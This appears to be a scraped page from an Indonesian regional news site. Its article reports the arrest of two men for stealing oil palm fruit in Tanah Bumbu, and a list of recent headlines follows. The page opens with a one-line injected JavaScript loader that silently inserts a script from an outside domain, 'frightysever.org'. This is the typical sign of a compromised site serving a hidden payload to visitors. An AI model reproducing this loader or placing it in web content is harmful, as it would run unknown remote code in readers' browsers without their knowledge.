(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal

Siap Dipanen, Dua Warga Teluk Kepayang Ditangkap Curi Tandan Sawit Segar


KANALKALIMANTAN.COM, BATULICIN – Dua orang laki-laki warga Kecamatan Teluk Kepayang, Kabupaten Tanah Bumbu, diamankan Unit Reskrim Polsek Kusan Hulu atas dugaan tndak pidana pencurian.

Kapolres Tanah Bumbu AKBP Tri Hambodo melalui Kasi Humas AKP Made Rasa mengatakan, kedua pelaku yang ditangkap adalah MJ (30) dan P (28), keduanya diduga mencuri buah kelapa sawit milik salah seorang warga.

Kasus ini berdasar Laporan Polisi Nomor : LP / B / 08 / X / 2022 / SPKT. POLSEK KUSAN HULU / POLRES TANAH BUMBU / POLDA KALSEL, tanggal 12 Oktober 2022.

Baca juga: Cabang Hifzil Qur’an Golongan 10 dan 20 Juz MTQ Nasional XXIX Diikuti 130 Peserta

Pada hari Rabu tanggal 12 Okt 2022 sekitar pukul 06.30 Wita, telah terjadi Tindak Pidana Pencurian buah kelapa sawit di Desa Guntung RT 02 Kecamatan, Teluk kepayang, Kabupaten Tanah Bumbu, Provinsi Kalimantan Selatan, tepatnya di kebun kelapa sawit milik pelapor.

Pada saat itu, pelapor mendapat kabar dari seorang saksi yang mengatakan bahwa buah kelapa sawit milik pelapor telah dicuri.

Memastikan hal tersebut, pelapor kemudiam bergegas ke kebun dan setelah sampai kebun ia langsung melakukan pengecekan.

Buah kelapa sawit yang rencananya akan di panen keesokan harinya sudah tidak ada di pohon dengan kata lain dicuri oleh orang.

Baca juga: Sebelum Kembali ke Jakarta, Wapres Ma’ruf Amin Serahkan Bantuan di Panti Budi Luhur

“Atas kejadian tersebut pelapor mengalami kerugian buah kelapa sawit estimasi sekali panen buah kurang lebih 3 ton dengan nilai harga Rp 7 juta dan melaporkan kejadian tersebut ke Polsek Kusan Hulu untuk proses lebih lanjut,” lanjutnya.

Melalui penangkapan kedua pelaku, polisi mengamankan 1 unit mobil pikap warna putih nopol DA 8560 ZP, 2 buah tojok terbuat dari besi, dan buah kelapa sawit sebnyk 94 janjang dengan berat timbang sebanyak 1.410 kg.

Sementara itu, seorang pelaku lainnya Al saat ini masih masuk dalam Daftar Pencarian Orang (DPO) dan masih terus didalami oleh polisi. (Kanalkalimantan.com/ftr)

Reporter : ftr
Editor : bie


Risa

Recent Posts

Camat Lurah Boleh Jabat Sekretariat PPK PPS

KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More

2 jam ago

Sekretaris Nasdem Kalsel Melamar Golkar, Rozanie Sadar Cukup Posisi Calon Wagub

KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More

2 jam ago

Mesin Terbakar di Udara, Pesawat Jemaah Haji Kloter 5 Embarkasi Makassar Kembali Mendarat

KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More

3 jam ago

Meteran Air Leding PAM Bandarmasih Hilang, Biaya Pergantian Ditanggung Pelanggan

KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More

3 jam ago

Layanan Posyandu Terintegrasi di Desa Manusup

KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More

3 jam ago

Kampung KB Guntung Manggis Masuk Enam Besar Nasional

KANALKALIMANTAN.COM, BANJARBARU - Dukungan segenap unsur pemerintahan mengantarkan Kampung Keluarga Berkualitas (KB) Kelurahan Guntung Manggis… Read More

4 jam ago

This website uses cookies.